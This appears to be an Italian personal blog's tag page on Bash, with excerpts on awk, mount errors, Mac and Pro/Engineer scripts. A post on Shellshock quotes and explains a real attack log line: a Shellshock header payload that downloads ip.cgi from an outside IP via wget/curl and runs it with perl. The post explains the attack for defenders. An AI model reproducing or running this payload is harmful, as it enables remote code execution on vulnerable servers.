Devo montare un device su Linux, dopo averlo precedentemente smontato, e mi esce l’errore in oggetto. Come risolvere ?
Leggi tutto “mount: already mounted or mount point busy.”Tag: Bash
Estrapolare da un file di testo la prima riga, poi ogni N righe ed infine l’ultima
Ammetto che non è farina del mio sacco ma una mera traduzione da un forum anglosassone, ma l’utilità rimane:
awk 'NR == 1 || NR % 10 == 0 || NR == '$(cat "inputfile" | wc -l) "inputfile" > "output"
Qui abbiamo che:
- “inputfile” è il file di ingresso che dobbiamo elaborare
- “output” è il file nel quale desideriamo salvare il risultato
- 10 è il numero – da variare secondo le proprie necessità – per stabilire ogni quante righe va estrapolata una riga di “inputfile”.
Shellshock: Bug nella Bash
La famigerata Shellshock , anche conosciuta come Bashdoor , è una famiglia di problemi di sicurezza presente nell’ampiamente utilizzata Shell UNIX Bash dove, il primo buco rilevato, è stato evidenziato a partire dal 24 Settembre 2014.
Numerosi servizi internet, come ad esempio i Web Servers, utilizzano Bash per elaborare alcune richieste e, nel caso in cui sia utilizzata una versione vulnerabile, consentono ad un potenziale malintenzionato di eseguire codice malevolo in remoto.
Si tratta di un problema estremamente grave perché consente ad un cracker di ottenere l’accesso e i privilegi di amministratore sul sistema attaccato, con tutti i problemi che ne conseguono.
Il bug in questione consente di eseguire un comando di sistema nel momento in cui lo si va a concatenare alla fine di una definizione di funzione salvata all’interno di una variabile d’ambiente.
Di questo gravissimo problema ho letto alcuni mesi fa e solo oggi (14/01/2015) un sito che amministro – e di cui controllo frequentemente i logs – risulta aver subito un attacco, eccolo:
"GET /cgi-bin/test.cgi HTTP/1.0" 404 940 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://185.56.60.83/ip.cgi ; curl -O http://185.56.60.83/ip.cgi;perl ip.cgi;perl /var/tmp/ip.cgi\""
L’attaccante – che, nel caso specifico, risulta provenire dall’Olanda – cerca si sfruttare la presenza del file “test.cgi” e di passargli la definizione di una funzione vuota prima:
() { :;};
e, successivamente, gli accoda questo comando:
/bin/bash -c \"cd /var/tmp ; wget http://185.56.60.83/ip.cgi ; curl -O http://185.56.60.83/ip.cgi;perl ip.cgi;perl /var/tmp/ip.cgi\"
che possiamo – per chiarezza – scomporre in più righe:
cd /var/tmp wget http://185.56.60.83/ip.cgi curl -O http://185.56.60.83/ip.cgi perl ip.cgi perl /var/tmp/ip.cgi
dove viene:
- Resa corrente la cartella “/var/tmp”.
- Scaricato un CGI (“ip.cgi”) sia con il metodo “WGET” che “CURL” (uno dei due andrà !)
- Lanciata l’esecuzione tramite PERL .
Nel momento in cui scrivo non ho la possibilità di scaricarmi il CGI per analizzarne il contenuto, ma intendo farlo appena possibile.
E’ immaginabile che il suo scopo sia tutt’altro che amichevole ma, la cosa che più mi ha incuriosito, è la modalità con la quale sia possibile bucare un web server, veramente inquietante.
Mac OS X: Creare una propria cartella per gli Script Bash
Mi capita spesso la necessità di crearmi degli Script Bash con i quali svolgere operazioni ripetitive.
Si tratta di programmi che vengono interpretati run-time ed eseguiti; in altri termini: il sistema operativo apre il file sorgente dello script, lo interpreta e lo esegue.
N.B.: Solo per conoscenza sottolineo come, solitamente, i programmi (o Applicazioni, come ultimamente vengono chiamate), si trovano in una forma che il sistema non deve interpretare, sono già direttamente eseguibili (contengono, appunto, le istruzioni in codice macchina per il proprio sistema operativo/hardware e sono conosciuti come file binari); tuttavia, prima di essere dei file binari, erano dei file sorgenti (cioè il codice scritto in un qualche Linguaggio di Programmazione – come ad esempio C, C++, C#, Visual Basic e molti altri – da un utente programmatore) che sono stati trasformati attraverso un’operazione detta di compilazione (in sintesi: un codice sorgente scritto con un linguaggio di programmazione viene compilato per creare un codice binario eseguibile).
Le comodità di creare uno Script Bash sono molteplici:
Leggi tutto “Mac OS X: Creare una propria cartella per gli Script Bash”
Cambiare data alle foto con iMac
Ho già creato il medesimo articolo dedicato a Linux ma, essendo lo script che esegue l’operazione, piuttosto diverso nella versione iMac ho, per praticità, preferito crearlo ex-novo.
Il problema: cambiare la data ad un insieme di foto (ma, volendo, a qualsiasi file) con uno strumento sufficientemente potente, che mi consenta di stabilire se eseguire addizioni/sottrazioni alle date, piuttosto che impostare la data odierna o comunque una forzata.
Pro/Engineer: Creare file postscript automaticamente delle messe in tavola (DRW)
Dovendo creare il file postscript (che in genere converto poi in PDF, tramite apposito script) delle messe in tavola presenti in una determinata cartella, ho realizzato uno Script Bash (da utilizzare con MSYS ) che automatizza la cosa, andando a creare un file TRAIL per Pro/Engineer.
Leggi tutto “Pro/Engineer: Creare file postscript automaticamente delle messe in tavola (DRW)”
Pro/Engineer: Individuare dove è montato un componente in base al codice dentro gli assembly
Ho realizzato uno Bash Script il cui scopo è quello, fornendo il codice di un componente, individuare in quali assiemi è montato e mostrare le dipendenze degli stessi.
Pro/Engineer: Individuare le dipendenze di un file DRW (messa in tavola)
Ho realizzato uno script bash (gli utenti Windows possono utilizzarlo tramite MSYS ) che consente di verificare, per ogni file DRW (le messe in tavola) contenuto nella medesima cartella dove si esegue il comando, se sono presenti tutte le dipendenze che servono per aprirlo (cioè i file PRT e ASM).
Leggi tutto “Pro/Engineer: Individuare le dipendenze di un file DRW (messa in tavola)”